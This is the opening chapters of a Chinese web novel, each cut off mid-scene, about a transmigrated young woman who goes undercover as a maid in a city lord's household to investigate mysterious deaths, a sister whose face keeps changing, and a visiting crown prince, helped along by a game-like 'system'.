《反派,但决定摆烂》 1. 卧底查案 《反派,但决定摆烂》全本免费阅读 “姐姐,你的眼睛真好看,和我换一换好不好?” 郦之宁笑得甜甜的,一只手抚摸郦之清的眼尾,双眼死死盯着姐姐的丹凤眼,手上力度渐渐增大,在郦之清眼下按出一道道红痕。 “这……怎么行呢。” 望着妹妹贪婪的眼神,郦之清后背一阵发凉,勉强笑着想拽开郦之宁的手,却因大病初愈,浑身无力,只能忍着眼眶痛意,将求助的眼神投向丫鬟庄非鱼。 庄非鱼一秒领会,立刻倒了杯热茶,恭敬递给郦之宁: “三小姐,请用茶。” 茶杯递到郦之宁手边,她只好心不甘情不愿地松手,用眼神剜庄非鱼一眼,蛮横接过茶水。 庄非鱼倒得只有八分满,因为郦之宁动作幅度太大,生生泼出来一半,烫的她大叫一声,将茶杯重重掷到桌上: “你想烫死我吗?蠢奴!” 庄非鱼有些无语。 很明显,这是故意来找茬的。 她要是认错了,反而会被对方狠狠拿捏。 于是,庄非鱼伸出手,摸了一把郦之宁的手背,佯装惊讶地开口: “很烫吗?可三小姐您的手不烫呀,奴婢可是方圆五百里最擅长泡凉茶的人了,不信您问问二小姐,她一直嫌弃奴婢泡的茶不热呢。” “对对对,小鱼说的对。”郦之清小鸡啄米似的猛点头。 郦之宁咬着牙想发作,又强行忍耐下去,硬生生挤出一张笑脸: “这就是姐姐新来的丫鬟?” 她扫视庄非鱼一眼,又细细盯着庄非鱼的眼睛,挑剔且傲慢: “你的眼睛也不错,和我换换。” 庄非鱼微微福身,微笑道: “三小姐说笑了。身体发肤,受之父母,哪能说换就换。” “开个玩笑而已,你说一声换又能怎么样?”郦之宁怒而拍桌。 “开玩笑也不行。”庄非鱼毫不退让。 话音刚落,郦之宁一巴掌扇过来,庄非鱼敏捷抬手,扼住她的手腕,一字一句慢条斯理: “三小姐,动辄伤人可不是淑女所为。” 见讨不了好,郦之宁狠狠抽回手腕,指着郦之清鼻子怒骂: “好你个郦之清,换了个力气大的丫鬟,现在得意起来了。” 她转身离开,走到门槛处回头,从牙缝里挤出一句狠话: “你给我等着,我早晚要收拾你!” 庄非鱼懒洋洋地,走到门口挥挥手: “慢走不送。” 咣当一下,关上房门。 房间里另一个丫鬟小水立马迎上来,星星眼望着庄非鱼: “姐姐你好厉害,竟然能把三小姐赶走。” 郦之清反而绞着帕子,面露难色望向庄非鱼: “我记得我好像说过,城主府里第一不能得罪的人——” “三小姐嘛,我记得。” 庄非鱼满不在乎地坐下,给自己倒了杯茶,反手给郦之清也倒上一杯。 “无论能不能,现在都得罪了,以后见招拆招。” 见郦之清仍然忧虑,庄非鱼安慰她道: “放心吧,我顶多在这里待上三个月,她不会对我怎么样的。” 继而话锋一转,“不过你们这个三小姐言行很可疑啊,她为什么非要你的眼睛呢?” 郦之清叹了口气,托腮望着清茶热气氤氲: “她一向嘴里没个正行,今天不知又在哪里生了气,过来找我排解了,不用管她。” 庄非鱼点了点头,将疑问藏在心底,打算来日调查一番。 * 庄非鱼是个卧底。 一个月前,除魔司接到报案: 荔城城主府二小姐郦之清,傍晚赏花时,目睹父亲侍妾溺水而亡,怀疑家中有魔气作祟。 家里人以为她受惊得了癔症,没有理会,郦之清却偷偷写信,秘密上报除魔司。 这种捕风捉影的事件极多,除魔司也不怎么重视,便派了庄非鱼这个刚入职的临时工过来。 待了没几天,她已经发现两处不对劲。 一是三小姐郦之宁非要姐姐答应“交换眼睛”,二是郦之清本人对侍妾溺亡的描述。 “芸娘是自己走进池塘里的,没有半点挣扎,我和小水亲眼所见。” 郦之清回忆道,小水也跟着点头。 从那以后,主仆俩受了很大刺激,一直卧床吃药,庄非鱼来了以后才好转一些。 “没有半点挣扎?”庄非鱼思索。 “没错,就好像走在平地里一样,一步步走进池塘,池水没过她的头顶,她都没有动一下。” 这个描述……有些耳熟啊。 “会不会是梦游?”她提出猜测。 “梦游是什么?”郦之清一呆。 庄非鱼慢慢回想,边想边开口: “我有一个朋友,他在睡梦中会离床行走,醒来后对自己的所作所为毫无印象,医生……大夫说是梦游症。” “世界之大,竟有如此病症?”郦之清惊叹道。 “没错……可我记得,梦游是能够被唤醒的。秋水寒凉,她溺水后应该会挣扎吧。” 庄非鱼摇了摇头,不好意思地笑了笑: “不过我也不是大夫,不知道具体症状是什么,先保留这个可能性。” 郦之清点了点头,突然想起一件事,立刻抓住她的手: “你先前说要查探芸娘的闺房,今晚就是合适的时机。” “安排好了?”庄非鱼确认一遍。 郦之清重重点头。 * 是夜,月黑风高。 郦之清兴奋地涨红了脸,紧紧咬着唇,拉着庄非鱼躲开守夜的家丁,顺利进入侍妾的房中。 “她平时就住在这里。”郦之清压低声音,雀跃极了。 她以为自己的人生轨迹就像娘亲一样,少女时养在闺阁做些女工绣活,及笄后嫁给门当户对的人家,从此相夫教子度过平凡的一生。 没想到十四岁这年,能亲眼目睹一场除魔案。 短暂的惊恐过后,就是探究真相的好奇。 庄非鱼其实有点发憷。 她在现代不过是个刚毕业的学生,穿越后,来除魔司工作半月就被外派,委托人还是个小女孩,她只能硬着头皮,学着电视剧里的方法探查。 很明显,除魔司根本没把郦之清的报案当回事,只是派人过来走个过场。 可庄非鱼不想糊弄。 听斥候部的同事说:魔头诞生前,当地会出现诸多怪相。 孩子拿刀砍伤母亲,丈夫下毒毒害妻子,朋友相互背叛,官员大肆敛财,人们相拥相食,耽溺交欢与恶欲。 那一个月,河水将会倒流,群兽不停躁动,仁爱者将暴戾,孝悌者将忤逆,忠信者将狡诈,廉明者将腐败。 她的任务 2. 太子要来 《反派,但决定摆烂》全本免费阅读 房间里找不到更多线索,庄非鱼小心翼翼地恢复原样,带着郦之清回房。 庄非鱼这个丫鬟做得极为敬业,夜晚都睡在小姐隔壁的小榻上,只是没睡多久,就听到有人在吵她。 迷迷糊糊中,她以为朋友恶搞,一巴掌挥开: “死元宵,别吵我,让我再睡会儿。” “元宵是谁?” 耳边的声音逐渐清晰,一只手探上她的脸颊,冰凉的触感,庄非鱼浑身一激灵,瞬间清醒。 是郦之清。 她早已穿戴整齐,伸出手逗弄庄非鱼。 这才几点啊。 她双眼无神望着房梁,咸鱼躺了一会儿,意识逐渐回笼,才注意到外面的吵闹声。 “外面做什么呢,这么大声?”她问。 郦之清凑到她耳边,神秘兮兮地说道:“今天有位大人物要来,父亲刚到卯时就起来准备了。” “大人物?有多大?”她打了个哈欠,随口敷衍。 “很大很大!”郦之清伸出双臂,夸张地比出一个圆。 “以前州牧来我家里,父亲提前一个月就开始准备。这一次,父亲居然准备了整整三个月,提前将玄都苑修葺一新,那个人肯定比州牧官要大。” 庄非鱼起身,按下她的胳膊,一边倒水洗漱,一边慵懒地想着: 熙国的州牧,相当于现代的一省之长。郦之清的父亲是城主,相当于现代的市长,在州牧手下干活。 来人居然比州牧更受重视,估计得是皇亲国戚级别吧。 这个地方刚发生命案,有无邪魔作祟还是未知。 该不该上报领导呢? 还是报一下吧,免得上司又找茬训她一顿! “你刚说的那个元宵是谁呀?你的心上人吗?” 郦之清一脸八卦,蹲在一旁看她刷牙。 庄非鱼不想和她多聊,含糊一句:“元宵啊……我做梦正吃元宵呢。” “骗子,你都这么大了肯定有心上人!”郦之清笃定地说道。 “我看是你有心上人吧。” 庄非鱼随口吐槽一句,却见眼前这个十四岁的小姑娘瞬间羞红了脸,她顿时震惊了: “你真的有?是谁!你才十五岁!” 是谁这么刑? “我都十五了,好些年纪比我小的闺友都订下了。”郦之清羞恼地推了庄非鱼一把。 她这才反应过来,这是人人都很刑的古代。 “快说,你喜欢的人是谁?我给你瞅瞅。” 庄非鱼一脸严肃,生怕这个小姑娘被人骗了。 “是母舅家的表哥。” 郦之清羞答答地,许久才低声说出来。 “表哥……那不好吧,近亲结婚容易生出畸形儿。”庄非鱼一口否定。 见她反对,郦之清急忙补充:“是主母家的勋臣表哥啦,斯斯文文的,读书很好的。” 主母家的,还好还好,没有血缘关系。 庄非鱼松了一口气。 郦之清是姨娘林氏所出,林氏在她八岁时难产而去,从此郦之清就教养在主母黄氏膝下。 黄氏是沧州治中从事黄季端之女,她的侄子出身一定不会太差;能让郦之清喜欢的,相貌一定过关。 唯一需要考察的,就是人品。 “哎呀,你快收拾,咱们去给母亲请安。” 郦之清眼神闪躲,转移话题。 “行。”庄非鱼爽快答应,心里已经谋划了几十种考察方案。 * 荔城城主一共有三个女儿,大女儿年前已经嫁出去了,二女儿郦之清、三女儿郦之宁皆住在府苑深处,两人院子建在一处。 庄非鱼和郦之清收拾好出门,恰好撞上郦之宁。郦之宁打扮的花里胡哨,乍一看比往日漂亮许多。 见到郦之清,郦之宁上下扫了她一眼,阴阳怪气道: “大清早去干什么?赶着给我娘尽孝?” “我娘”二字,她咬的尤其重。 郦之宁是黄氏所生,知道郦之清小小年纪没了亲娘,专扎她的心窝子。 庄非鱼一抬眼,果然看到郦之清红着眼眶,泪水将落。她拍了拍郦之清的手背,塞了一只手帕过去,随后反唇相讥: “夫人往日常说:二小姐就是她的亲亲女儿。女儿给母亲尽孝才是常理,不像某某……”她拉长声音,“懒馋奸滑,全部占齐了,府里没人喜欢她。” “你……”郦之宁咬着牙,气得浑身发抖,“你这个刁奴,我要告诉母亲,你辱骂我!” “我什么时候骂你了?”庄非鱼一脸无辜,“我在骂那只懒狗,又丑又笨,三小姐怎么就对号入座了?” 她伸手指向墙角,一只土狗正懒洋洋地趴着,见人看它,急忙“汪汪”两声。 “你,你,你……你说我是狗!”郦之宁气得要哭出来了,“我要告诉母亲,我要让她杀了你!” 说罢嘴唇颤抖,崩溃跑走。 郦之清瞠目结舌,半天才吐出一句话:“原来,还可以这样。” 这些年,郦之宁仗着嫡女的名号,明里暗里讥讽她多少次,她不知反驳,只能偷偷抹泪。 庄非鱼敲了敲她的脑袋,恨铁不成钢: “以后她阴阳怪气你,你就指桑骂槐她。与其单方面挨骂,自己在被窝里哭,不如没素质对喷,让她也体会一下挨骂的滋味。” “学会了学会了!”郦之清疯狂点头。 “不过你有没有发现,三小姐今天好像有些不同。”庄非鱼用胳膊肘杵了杵她,疑惑问道。 “她打扮得极美?”郦之清歪头。 “不,你看她的眼睛,是不是和昨天有些不一样?”庄非鱼伸手比划,“昨天她还是单眼皮,今天怎么就变成双眼皮了?” 古代也没有双眼皮贴啊。 难道去整容了? “是这样吗?”郦之清挠了挠头,“一会儿拜见母亲的时候,我仔细看看。” 两人刚走进正苑,就听到黄氏笑闹的声音: “该!往日只见你取笑清丫头,今天可算让她扳回一城。” 听到这话,庄非鱼浅松一口气。 这当家主母不是个糊涂人。 “母亲一向待我很好。”郦之清低声解释一句,扬起笑容迈入堂屋。 “给母亲请安。” 她行了一礼,庄非鱼也有样学样半蹲福身。 “快过来吃茶。”黄氏笑着招手,郦之清笑盈盈地道谢,乖巧坐好。 庄非鱼站在她身后,抬眼望向堂屋众人。 首位坐着一位四十岁上下的妇人,面容富态,手里抱着一个三四岁的小男孩,旁边站着面目不善的郦之宁。 想必这就是主母黄氏和她的儿子郦麟了。 主母下方坐着两个妇人,一娇美一温婉,温婉妇人身旁坐着一个怯怯的小姑娘。 这估计就是城主的两个妾室,陈氏和王氏。小姑娘应当是陈氏的侄女阿芝。 来的路上,郦之清已经跟她介绍一通了。庄非鱼一边回想,一边将名字和人对上号。 郦之清却悄悄杵 3. 惊鸿一瞥 《反派,但决定摆烂》全本免费阅读 巳时接近中午,等太子到了,跪拜迎接又得好一会儿,能不能按时吃饭还是未知。 庄非鱼这么想着,干脆把一整盘糕点都用油纸包起来,塞到略宽的衣袖中。 主仆三人打扮一新出了门,走过七拐八绕的亭台楼阁,来到唯一称得上宽阔的门前院落。 荔城城主府的布景极为别致。鼎盛时期,郦家老祖请了南方擅长布置山水园林的建筑大师,专门针对荔城的特点设计,将许多地方的花草都囊括其中。 春杏夏莲,秋菊冬梅,院内奇树名花应有尽有,花盆高低错落堆在各个院里,一步一景,有着江南水乡的精巧。 爱花的人见了,可能觉得这是仙境。可庄非鱼对花草不感兴趣,她只觉得这个园林设计师是个傻蛋。 北方天干物燥,不像南方湿润多雨,院子设计这么复杂,一堆花草树木遮挡视线,万一哪天发生火灾,府里一个人都逃不掉。 她心里吐槽,面上还是做足丫鬟模样,跟在郦之清身后站好,低眉抬眼悄悄观察。 府里亲眷纷至沓来,不论男女老少,都是华冠丽服、神色庄重的模样。整个院落只有细碎绵密的脚步声,没人敢说话。 这一等就是半晌。秋太阳毒辣,庄非鱼感觉脸一阵阵发烫,眼睛刺疼。她使劲眯了眯眼,看到郦之清的脖颈有汗渗出来,衣领已被浸透。 前面有几个老头拄着拐杖,眼看人要不行了,还颤颤巍巍硬撑着。 又过了一会儿,当太阳直照到头顶时,城主才高冠博带,匆匆而来。此时,庄非鱼已经头脑发晕,听城主讲了几句听不懂的文言文,跟着众人敬了神,就随城主夫人去旁边偏房。 偏房旁边有下人歇息的地方,庄非鱼跟着侍女们走进去,先猛灌几口茶水,再掏出糕点狼吞虎咽几块,剩下的都包起来去找郦之清。 一进房间,看到郦之清身旁满满几盘点心,庄非鱼乐了。 堂堂城主府小姐,多的是人伺候,怎么可能会被饿着? 摸摸袖里的糕点,是她多此一举了。 走到郦之清背后站好,她随意转头,却看见一个活泼灵动的娇俏少女面目不善地瞪着她。 那眼神,都快冒出火来了。 庄非鱼疑惑低头,只见郦之清用口型悄悄示意: “是郦之宁。” 郦之宁?! 庄非鱼瞳孔地震。 一个上午没见,她怎么变成这个样子? 简直就像换头一样。 正常人能一天之内从小塌鼻变成小翘鼻吗?能从小薄唇变成微笑唇吗? 没有一道伤疤,没有一丝整容痕迹。 这个郦之宁绝对有问题,必须立刻上报除魔司。 无奈现在人多眼杂,不能轻易走动,她只能压下心中的猜疑,等候太子莅临。 这一等就是一下午。 其间有人饿了,也只能喝茶吃点心混个半饱。生怕自己仪容不整,冒犯殿下。 直到天色渐晚,气温骤降,秋风瑟瑟吹来,冻得庄非鱼鼻尖发红。 她已经困的不行,站着都能睡着时,才听到门外一道急切的声音: “报——太子殿下已到城门。” 而后便是一阵人仰马翻,整个院子活过来一样,人声鼎沸。 黄氏第一个站起身来,疾声喝道: “快快整理仪容,随我出去!” 庄非鱼立刻摇醒郦之清,不等她睁开眼,就先替她重新插好发钗,理好衣领袖角,抚平衣服上的折痕。 郦之清迷迷瞪瞪,任由庄非鱼动作。缓了一会儿,意识到太子殿下要到,一个激灵清醒过来,猛地站起身。 女眷这边整理完毕,随黄氏一齐走出去。 庄非鱼抬眼望去,两个侍卫一左一右,拉开显赫的广梁大门。 门前是两只含着石球的石狮,一左一右侧首蹲坐,猛兽怒目震慑他人。门口是大理石铺就的白玉台阶,新漆成的朱肝红大门,门扉上兽首衔环,作九尾狐形状。 院门内,左右郡丞,正副郡尉,两名知事,六名都头,各县县令县丞,一城实权官员按品秩大小站在两侧,垂首而立。 女眷候在队伍之末,依身份依次站开,柔顺恭迎。 这样凝肃的场景,庄非鱼却思绪飞散,盯着霜寒冻结的火红枫叶、凝结成冰的碧翠青松出神。 “太子殿下到——” 一声唱喝,拉回她的思绪。城主郦问衡立即撩衣下跪,身后官员亲眷随之跪下,齐声恭贺: “恭迎太子殿下。” 庄非鱼跟着下跪,抬头望去。 映入眼帘的,是手持长枪、身披黑甲的兵将。黑甲兵面目冷肃,眼中满是震慑和杀气。行进步伐整齐划一,走出排山倒海的气势。 黑甲兵中间,高车驷马,旗旄导前。缰绳一拉,马匹嘶鸣,马车在门口停下。 前后骑卒纷纷跪地,秋风徐徐掀起帷帐,一只凝玉般的手绕过清风,挽住帷帐。 庄非鱼呆住了。 漫天秋雾,灯火阑珊中,她看到一个白衣少年,风度高雅,眉目蔚然,俯身挽帘,冉冉趋步走了出来。 时间似乎冻结在这一刹那,直到侍女手中的灯笼怦然坠地。 * 庄非鱼几乎忘记,自己是怎么回到海棠苑的。 直到躺到榻上,一只建模粗糙的光球出现在上空,系统无机质的声音响起: 【嘀——检测到男主角北山鄢行为异常,脱离设定。】 “男主…不愧是男主。” 庄非鱼双眼放空,无焦的眼神落到系统身上,低声感叹: “我总算知道,你们游戏为啥这么火爆了。” 不知道游戏团队废了多少画稿,修改过多少次建模,才能呈现出如此盛世美颜。 她伸长手臂戳了戳系统,问道:“你检测出什么来了?” 系统身上的红光闪了闪,回答: 【根据人物设定,男主此时的身份应该为熙国太子,可他现在却被废黜。根据时间线设置,男主此时应该在熙国都城,等候玩家攻略,目前却在沧州荔城。在无玩家介入,无利益可图的情况下,贸然来到荔城,不符合人物设定。】 【郦府地图正在扫描中……因游戏故障,需要足够时间,望耐心等待。】 系统报告了一堆bug,庄非鱼懒得听,只当灌个耳音。 “咱提前透个底。”她双臂交叠靠在脑后,好整以暇地看着系统。 “我呢,虽然是以游戏修理员的身份绑定的你,但实际上,我对游戏一窍不通。你检 4. 欲攀高枝 《反派,但决定摆烂》全本免费阅读 第二天刚醒来,庄非鱼惊喜看到进度条100%。 系统安装好了。 红色圆球变成绿色,无感情的声音变成小女孩的奶音。 【亲爱的游戏修理员,系统已载入奖励支线。每发现一处bug,奖励足量游戏币,您可以来商城购买喜欢的东西啦~】 “游戏币?”庄非鱼瞬间精神了。 她兴致勃勃凑近去问:“那咱们昨天发现的bug,奖励多少游戏币?” 【嘀……发现男主角身份异常,奖励10000星币。如果玩家主动报告异常,游戏币奖励翻倍呦~】 圆球上洒落无数金币,最后汇成10000币的形状,右下角出现小小的商城角标。 庄非鱼打开商城,从上往下是顶奢飞船999999999星币,账号满级999999999星币…… 打一万年工都买不起。 改变搜索方式,价格从低往高浏览: 纯净水1星币,泡面2星币,可乐3星币,炸鸡10星币,平民服装100星币…… 都不是她急需的。 连翻几页,终于看到人造心脏9999星币,旧式手机10001星币。 手机10001星币? 为什么这么贵? 就差1星币啊! 庄非鱼头发乱糟糟地坐起来,心情跌到谷底。 系统见缝插针地显示微笑表情: 【亲,积极做任务,会有更多奖励哦~】 这是阳谋,赤裸裸的阳谋。 肮脏的、玩弄人心的资本家! 她咬牙切齿,却又不得不落入系统的圈套。 【接下的日子,请四处走动,查探游戏的bug吧~】 系统不合时宜地放出烟花,庄非鱼一枕头扔过去: “给我爬。” 系统麻溜消失,她长叹一口气,起身洗漱。 真的不想上班啊! 这种凌晨五六点起床,晚上八九点睡觉,还没有手机可玩的打工生活,什么时候是个头啊。 收拾完毕,庄非鱼随意垫了点糕点,和郦之清敬了神,早早出发去正房请安。 到了正房,众人又是一顿敬神拜神,庄非鱼只能无奈下跪磕头。 要说她最讨厌的,第一是早起,第二就是敬神了。 这个世界敬神,比她奶奶烧香拜佛还要狂热。 郦府敬的是昊天大帝和玉清道君,敬神有三跪九拜、虔诚祷告,一轮下来,半个小时就没了。 一天敬三次,简直浪费时间浪费生命。 敬完神,主子们坐下吃饭,丫鬟们站在一旁随侍。郦之清位低份卑,坐在最下首,以往都是安静吃完退场。 可今天却不一样。 家主郦问衡像打量货物一样环视一圈,将目光落到郦之清身上,随后和蔼地笑了笑,吩咐侍从: “给二姐加碗血燕。” 血燕向来是祖辈才能享受的,怎么会赏给她? 在众人惊疑的目光中,郦之清诚惶诚恐地站起来,福身道谢。 燕窝很快端上来,庄非鱼接过递给她。郦之清小口抿着,半点滋味都尝不出。 “昨日见了殿下,感觉如何?”郦问衡貌似闲聊地问她。 “殿下龙章凤姿,渊清玉絜,女儿莫敢仰视。”郦之清回答。 庄非鱼在一旁听着,觉得有些不对劲。 古代不都是很保守的吗?父亲怎么会当众问女儿对外男的感觉? 不确定,竖起耳朵再听听。 郦问衡放下茶盏,道: “殿下身边没有姬妾,你是府中最颜色最好的姑娘,当知道良禽择木而栖的道理。” 哦豁,图穷匕见了。 庄非鱼一低头,还没注意到郦之清的表情,就先看到郦之宁不忿的眼神。 “爹爹!” 郦之宁放下筷子,嗔笑一句: “怎么她就是府中颜色最好的姑娘了,女儿装扮后哪里比她差了?” 郦问衡端详片刻,满意地点了点头: “许久未见,我家三姐也出落成大姑娘了。” 随后扶髯大笑: “爹等着,看吾家何时有凤来仪。” 郦之清一直沉默着用餐,那盏血燕再没动过。 庄非鱼和她相处虽日浅,但早已摸透这个小女孩的脾气,料定她是生气了。 果然,一回到海棠苑,关上房门,郦之清咬着嘴唇,眼泪刷一下流出来。 比郦之清年纪还小的丫鬟小水,手足无措,踮起脚尖给她擦眼泪。 “小姐,你怎么哭了?” “我没事。”郦之清夺过帕子,在脸上胡乱擦几下。 “是你爹违背你的意愿,惹你生气了?”庄非鱼猜测一句,郦之清听到后,满腔情绪汹涌而至,撕心裂肺哭到哽咽。 她一边抽泣,一边诉说: “他为什么会变成这样?难道我们这些女儿,在他眼里只是献媚上官的货物吗?” 庄非鱼默然,一时之间不知道怎么回答。 说你爹就是一个汲汲钻营、追名逐利的高官?还是说你爹也许只是想让你过上更好的生活? 不待她开口,郦之清自顾自说着: “我早该想到的,其他人家的姑娘学的都是女红管家,他偏偏让我们学琴棋书画,歌舞应酬。他不管家,也不管百姓,整日就知道给州府衙门送礼,给青楼妓坊送钱。” 说着说着,眼泪喷涌而出: “可是他以前不是这样的,他以前还抱我去看花灯呢。” “也许,你爹只是想让你过上更好的生活。”庄非鱼递出自己的帕子,“不管他,你想喜欢谁就喜欢谁。大不了我偷偷带你跑路,让他一个人后悔去吧。” 郦之清被她这么一逗,噗嗤笑出声来,可转头又低落下去: “他才不管我呢,等阿宁变得比我漂亮了,他连理都不会理我。” 谈到郦之宁,庄非鱼已经笃定她有异常,打算每晚睡前都去隔壁偷偷探查一番。 这 5. 离奇死亡 《反派,但决定摆烂》全本免费阅读 郦问衡想得很美,可待他携家眷求见太子时,太子连面都未露,仅让家眷们隔着屏风行了大礼,就乌泱泱退回了。 他暗示太子詹事,自己家有貌美女孩,愿为殿下铺床叠被,洒扫做事。太子詹事却连连摆手,告诉他殿下不近女色。 不近女色? 郦问衡不信。 就连宫里的阉人都得结对食、娶媳妇,一个及冠男子怎么可能不近女色? 他想,只是詹事随口搪塞罢了。 以二姐的美貌,没有哪个男人不想占便宜的。 郦问衡翻遍县志,苦心孤诣,终于在一民间传说中找到机会。 他举全城之力,花了不少钱币,动用不少人脉,连夜布置妥当后,在玄都苑门前跪下。 “沧州左参议官,荔城城主郦问衡,求见太子殿下。” 仆卫打开门,询问道:“有何要事?” “臣此来是想通秉殿下,明日便是荔城的传统节日——秋祀节。百姓盛装打扮,登弗玉山祭祀神明,庆祝狩猎与丰收,殿下明日可要一同前往,与民同乐?” 郦问衡挺直脊背,高声应答。 仆卫让他等着,自己进去禀报。过了一会儿,太子詹事小步跑过来,对他道: “主子答应了。” 郦问衡长出一口气,朝正院深深叩首,站起来满脸堆笑,塞给詹事两条小黄鱼。 “小小心意,不成敬意,大人万勿推辞。” 太子詹事一听这话,了然一笑,接过黄金,提醒他: “主子不喜欢旁人称呼他为太子殿下。” 郦问衡连连点头,几次三番感谢完毕,才带着仆从恭敬离开。 回去的路上,他心中惴惴,疑心殿下不见他,是因为前几日他大张旗鼓率领众人喊出“恭迎太子殿下”,还是因为亭台楼阁布置得不合殿下心意。 他越看,越觉得布景单调无趣,遂偏头吩咐手下: “再去收罗些奇花名草,围着池塘摆上一圈。” 手下称喏,突然,他听到一声尖叫。 紧接着,此起彼伏的尖叫声响起,有人喊“死人了”、“芸娘索命”、“道君保佑”诸般话语。 郦问衡大步走过去。府中众仆围成一圈,见老爷过来,纷纷噤声让出一条过道。 他垂眼一看,一个精壮的汉子躺在地上,浑身僵直,面目狰狞,眼睛瞪得大大的,一副死不瞑目的惨相。 “禀老爷,是府中喂马的赵大。” 下人战战兢兢说道。 “今日喧哗者罚俸三月,收敛尸首,不许再提。”郦问衡冷着脸,转身离开。 家主想粉饰太平,流言却在一日之内传遍郦府。 吃午饭的时候,同桌丫鬟神神秘秘地放低声音: “喂,你们知道不?养马那个赵大死了,听说是芸娘索的命!” 立刻就有丫鬟接上话: “我今天亲眼看见的,他身上没有一点伤口,像是被活生生吓死的。” “哎呦,那个死相,和芸娘一模一样,他俩不会有一腿吧。” “我的娘呀,昊天上帝保佑,玉清道君保佑。” 庄非鱼心中一跳,捏紧筷子: “府里怎么处理?交给衙门吗?” “管家说,赵大是不小心被马踩死的,夫人支了五两银子用作安葬。”正房丫鬟压低声音说道。 “被马踩死?怎么身上不见一丝伤痕?”有丫鬟提出质疑。 “可能是内伤?”洒扫丫鬟猜测。 “那赵大的尸体呢,被他家人领走了吗?”庄非鱼问道。 一个月内,府里接连两个人暴毙,芸娘的尸体她没赶上查验,赵大的无论如何都得去看看。 “在偏门的柴房停着呢,等他家里人来领。”正房丫鬟边吃边回答,吃完奇怪地问她: “你问这个干吗?” “哦,我就想他家里人会不会来闹。”庄非鱼低头扒饭,不再多问。 * 夜晚,庄非鱼换上一身深色衣服,带上郦之清,偷偷潜入赵大的停尸房。 停尸房以前是柴房,里面堆了一大半的柴禾与秸秆,赵大就停在拉柴禾的板车上。 木头板车前短后长,正对窗户放着,两人一进去,就和赵大死不瞑目的眼睛对上。 “嘶……” 庄非鱼一个激灵,先捂住郦之清的嘴,防止她叫出声来。 缓了缓神,郦之清扒开庄非鱼的手,小声问她: “咱们查什么?” 庄非鱼示意她关上门窗,打开火折子,先看了看赵大的脸庞。 “你看这表情,眼睛瞪的这么大,像是遇到什么可怕的东西。” “你是说,赵大可能是被吓死的?”郦之清猜测。 此话一出,庄非鱼突然感觉柴房冷了几度。 “不排除这个可能。”她默默紧了紧衣领,克服心理压力,将火折子递给郦之清,两手扒开赵大的眼皮,又看了看他的口腔。 “你看他眼睛做什么?是查看中毒与否?”郦之清接过火折子,又问道:“是中毒吗?” “我看不出来。”庄非鱼两手一摊。 开玩笑,她又没有经过专业训练,怎么知道中毒的人都是什么症状? 她扒赵大眼皮嘴巴,只是打算默默记下,后面再翻书请教其他人。 看完面部,她掀开裹尸白布,露出赵大全身的模样。 “家主说是马匹践踏而亡,可他身上没有被踩踏后的痕迹。” 她翻起赵大衣服、裤脚,指着那惨白发灰的皮肤说道。 “我爹就是个糊涂官。”郦之清小声嘟囔。 庄非鱼替赵大整理好衣服裤子,将白布蒙回他脸上。 板车是斜的,白布不可控制地滑到他胸口。庄非鱼接连盖了两次,都没盖住那张死不瞑目的脸。 她大力将白布拉到赵大头顶,这才盖住了脸。 “咱们这就看完了?”郦之清失望地问。 这个小姑娘,一开始查芸娘闺房吓得要死,现在都能直视尸体了。 “还有最后一步。”庄非鱼单眨了下眼,走到板车最下面,从袖口掏出一卷白布,展开白布,里面放着一只鞋底。 “这是……芸娘房里的?!”郦之清忍着内心激动,看庄非鱼脱下赵大鞋子,两只鞋底一合。 正 6. 另眼相看 《反派,但决定摆烂》全本免费阅读 “都什么时辰了,还在睡!” 大清早,奶嬷嬷拉开窗帘,掀开被子,恨铁不成钢地怒斥三人。 “啊?啊!” 三个咸鱼迷迷糊糊醒来,看看对方,再看看天空,尖叫一声,你推我我推你,七手八脚跳下床洗漱。 “记得我刚来的时候,你起的比鸡都早,现在……啧啧啧。” 庄非鱼舀了一杯温水,拿起柳枝做的牙刷,往青盐盒里蘸去,嘴里还揶揄着郦之清。 “都怪你昨晚讲鬼故事吓人!”郦之清一边刷牙,一边坏心眼地按下庄非鱼的手,在她的牙刷上蘸满厚厚的青盐。 “嘶,可怕的小孩。” 刷牙的青盐又咸又苦,庄非鱼不停往下抖,郦之清伸手阻拦她,两人打闹不停,直到嬷嬷大声喝止才老实。 快速洗漱完,两人一路连走带跑,急匆匆跑去正房,拜见正妻黄夫人。 两人是最后到的房间,郦之清怯弱地低声请安,连腰都比以往矮了半截。 庄非鱼在后面看着,莫名有种心虚感。 是街溜子带坏好学生的愧疚。 黄夫人一如既往的慈爱,她没有追究,反而挥手示意郦之清上前。 “二姐这衣衫,不鲜亮。” 黄氏的贴身丫鬟笑着福身:“真是赶巧,月初订的秋装,今早就送过来了。” 黄氏拍了拍郦之清的手,示意丫鬟道:“带几位小姐去换装。” 换衣服的时候,黄氏抛下在场其他女眷,缓步走进来,亲自给郦之清梳头,和她追忆往昔、交流感情。 庄非鱼站在一旁,越听越觉得不对劲。 什么“宁为富人妾,不为穷人妻”,什么“郦府危难,只有攀上高枝才能得救”,什么“你爹辛苦,为了你们头发都白了”…… 这不就是PUA吗?! 但作为一个丫鬟,她也不能当场反驳。 等黄氏走后,庄非鱼立刻上前握住她的肩膀,言语恳切道: “别听你娘的,她在PUA,不是,她在胡说八道!” “你不用担心我。”郦之清提着裙子仰头,眼泪堆在眼眶。 庄非鱼只能轻叹一声,松开她的肩膀。 秋祀节是祭祀已故碧霞元君的节日,荔城大多数民众是不过这个节的。但今天道观搞活动,凡登顶弗玉山的人,都送鸡蛋一枚。所以今日人山人海,上山的路都堵住了。 然而,城主府女眷自有VIP通道。 车夫一扬缰绳,绕过人群,来到一处青石砌成的山路。三名道士手握拂尘站在路边,见马车过来,弯腰行礼: “请太太、小姐、各位姑娘下车,贫道带诸位去弗玉观烧香祈福。” 女眷们笑闹着走下马车,一时之间香风阵阵。 青石板路干净古朴,抬眼望去,自有一种悠然归隐之乐。 郦之清忍不住感叹:“没想到弗玉山还有这等风景。” “没见识。”郦之宁白了她一眼,先她一步,提裙登上台阶。 今天的郦之宁,完全压过郦之清的风头,成为整个郦府最漂亮的姑娘。 她的长相变化之快,连黄氏都疑心是不是撞了什么邪祟,请大师私下驱了两次邪,未果,才作罢。 “喂,你看阿宁今天是不是比我漂亮?”郦之清摸摸脸,有些不自信。 “是这样的。”庄非鱼诚实点头,换来郦之清一记重拳。 “嘶,你怎么越来越暴力了,当初那个害羞可爱天真善良的小姑娘呢。”庄非鱼呲牙咧嘴,按揉被打痛的胳膊肘。 “哼。”郦之清自顾自往前走,庄非鱼只能认命跟上。 